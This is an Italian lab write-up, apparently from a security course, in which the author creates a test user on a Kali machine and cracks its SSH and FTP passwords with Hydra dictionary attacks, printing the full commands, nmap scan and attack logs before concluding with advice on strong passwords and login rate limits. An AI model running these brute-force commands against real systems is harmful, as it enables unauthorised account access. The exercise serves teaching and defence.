

# S6L5 Authentication cracking con Hydra

## Obiettivo dell'Esercizio

L'obiettivo di questo esercizio è quello di scoprire la password del servizio SSH per l'utente denominato test\_user.

Una volta creato l'utente tramite il terminale e avviato il servizio SSH, si può procedere con l'attacco utilizzando lo strumento Hydra. Si analizzeranno due scenari diversi:

1. Il processo di cracking della password richiede un tempo considerevole ma ha una probabilità elevata di successo.
2. Il cracking della password viene completato in pochi secondi grazie all'utilizzo di tecniche che riducono significativamente i tempi.

## Tipo di Attacco

Il metodo di attacco che utilizzeremo è noto come attacco basato su dizionario. In questo tipo di attacco, si fa uso di un elenco precompilato di parole (dizionario) contenenti possibili combinazioni di username e password. Lo strumento Hydra sarà responsabile di provare tutte le combinazioni presenti nel dizionario fino a trovare quella corretta.

Questo approccio è particolarmente efficace quando le credenziali sono deboli o quando vengono utilizzate parole comuni o sequenze di caratteri semplici. Hydra risulta essere uno strumento molto potente e versatile per condurre questo tipo di attacchi.

## Preparazione dell'Ambiente

Per iniziare, è necessario creare un nuovo utente chiamato test\_user con una password specifica (testpass). Questo può essere fatto utilizzando il comando:

```
sudo adduser test_user
```

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Successivamente, si deve avviare il servizio SSH sul sistema. Ciò può essere fatto con il comando:

```
sudo service ssh start
```

```
(kali㉿kali)-[~]
$ sudo service ssh start
```

Prima di procedere con l'attacco, è importante verificare che il servizio SSH sia stato avviato correttamente. Questo può essere fatto tentando una connessione SSH al server con il comando:

```
ssh test_user@<indirizzo_ip>
```

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:jlWa4OnCZJW30/78ySB1Gk4CtmD7JTeLN1biKOLF0VY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Se la connessione riesce, significa che il servizio è operativo e pronto per l'attacco.

## Esecuzione dell'Attacco al Servizio SSH

Lo strumento Hydra sarà impiegato per condurre l'attacco al servizio SSH. Alcune opzioni importanti da considerare includono:

- -V: questa opzione permette di visualizzare tutti i tentativi di autenticazione effettuati durante il processo di cracking.
- -L: indica il file contenente la lista degli username da testare.
- -P: indica il file contenente la lista delle password da provare.
- -t4: consente di eseguire quattro tentativi di autenticazione contemporaneamente, accelerando così il processo di cracking.

Comando Hydra:

```
hydra -V -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -t4 ssh
```

```
(kali㉿kali)-[~]
$ hydra -V -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -t4 ssh
```

Durante l'esecuzione, Hydra cercherà di accedere al servizio SSH utilizzando le combinazioni di username e password fornite nei file specificati. Se una combinazione funziona, Hydra interromperà immediatamente l'attacco e mostrerà le credenziali trovate.

```
[ATTEMPT] target 192.168.1.38 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "123456789" - 5 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "12345" - 6 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "1234" - 7 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "111111" - 8 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "1234567" - 9 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "dragon" - 10 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "123123" - 11 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "baseball" - 12 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "abc123" - 13 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "football" - 14 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "monkey" - 15 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "letmein" - 16 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "696969" - 17 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "shadow" - 18 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "master" - 19 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "666666" - 20 of 8295455000000 [child 3] (0/0)
```

Hydra inizierà a provare tutte le possibili combinazioni di user e password contenute nelle liste inserite in input. Queste liste vengono chiamate dizionari. In questo caso, ho utilizzato il dizionario di seclists.

Il problema del dizionario che ho utilizzato in questo momento è che richiederà diverse ore per trovare la combinazione corretta, in quanto contiene 10 milioni di user e password.

## Velocizzare l'Attacco

Utilizzando un dizionario più piccolo, Hydra sarà in grado di trovare la corrispondenza di user e password corretta dopo pochi secondi.

Attenzione però, perché una lista più corta riduce l'efficacia (potenzialmente) dell'attacco. Se nel dizionario non sono presenti le credenziali corrette, l'attacco fallirà.

In questo caso, ho inserito anche il parametro -f per terminare l'attacco una volta trovate le credenziali corrette.

```
(kali@kali) ~$ hydra -V -L Usernames.txt -P Password.txt 192.168.1.38 -t2 -f ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 06:39:49
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 16720 login tries (1:880/p:19), ~8360 tries per task
[DATA] attacking ssh://192.168.1.38:22/
[ATTEMPT] target 192.168.1.38 - login "a" - pass "root" - 1 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "admin" - 2 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "test" - 3 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "guest" - 4 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "info" - 5 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "adm" - 6 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "mysql" - 7 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "testpass" - 8 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "user" - 9 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "administrator" - 10 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "oracle" - 11 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ftp" - 12 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "pi" - 13 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "puppet" - 14 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ansible" - 15 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ec2-user" - 16 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "vagrant" - 17 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "azureuser" - 18 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "a" - pass "*" - 19 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "root" - 20 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "admin" - 21 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "test" - 22 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "guest" - 23 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "info" - 24 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "adm" - 25 of 16720 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "mysql" - 26 of 16720 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "testpass" - 27 of 16720 [child 0] (0/0)
[22][ssh] host: 192.168.1.38 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.38 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 06:40:35
```

# Attacco al Servizio FTP

La procedura per l'attacco al servizio FTP è simile a quella usata per SSH. Prima di tutto, avviamo il servizio FTP con il comando:

```
sudo service vsftpd start
```

```
(kali㉿kali)-[~]  
$ sudo service ssh start  
[sudo] password for kali:
```

Verifichiamo quindi la connessione FTP con il comando:

```
nmap -sV -p 21 <IP>
```

```
(kali㉿kali)-[~]  
$ nmap -sV -p 21,22 192.168.1.38  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 08:21 EST  
Nmap scan report for kali.homenet.telecomitalia.it (192.168.1.38)  
Host is up (0.000040s latency).  
  
PORT      STATE SERVICE VERSION  
21/tcp    open  ftp      vsftpd 3.0.5  
22/tcp    open  ssh      OpenSSH 9.9p1 Debian 3 (protocol 2.0)  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```

Lanciamo lo stesso attacco con Hydra, cambiando il protocollo nel comando. Quindi sarà:

```
hydra -V -L usernames.txt -P passwords.txt <indirizzo IP> -t4 -f ftp
```

```
(kali㉿kali)-[~]  
$ hydra -V -L Usernames.txt -P Password.txt 192.168.1.38 -t4 -f ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-07 08:06:52  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16720 login tries (l:880/p:19), ~4180 tries per task  
[DATA] attacking ftp://192.168.1.38:21/  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "root" - 1 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "admin" - 2 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "test" - 3 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "guest" - 4 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "info" - 5 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "adm" - 6 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "mysql" - 7 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "testpass" - 8 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "user" - 9 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "administrator" - 10 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "oracle" - 11 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ftp" - 12 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "pi" - 13 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "puppet" - 14 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ansible" - 15 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "ec2-user" - 16 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "vagrant" - 17 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "azureuser" - 18 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "a" - pass "" - 19 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "root" - 20 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "admin" - 21 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "test" - 22 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "guest" - 23 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "info" - 24 of 16720 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "adm" - 25 of 16720 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "mysql" - 26 of 16720 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "testpass" - 27 of 16720 [child 1] (0/0)  
[ATTEMPT] target 192.168.1.38 - login "test_user" - pass "user" - 28 of 16720 [child 0] (0/0)  
[21][ftp] host: 192.168.1.38 login: test_user password: testpass  
[STATUS] attack finished for 192.168.1.38 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-07 08:07:14
```

## Conclusioni

L'esercizio si è rivelato particolarmente utile per comprendere quanto una password può essere vulnerabile se è debole. È fondamentale anche limitare il numero, o la frequenza, di tentativi disponibili per "indovinare" le combinazioni di password.

In questo modo vengono sfavoriti attacchi alle password di questo tipo. Attenzione però nell'impostare questo genere di limiti, in quanto se troppo restrittivi, potrebbero negare l'accessibilità.

Ad esempio, un dipendente che sbaglia le credenziali involontariamente, potrebbe essere bloccato dal sistema e non avere il permesso di continuare a lavorare.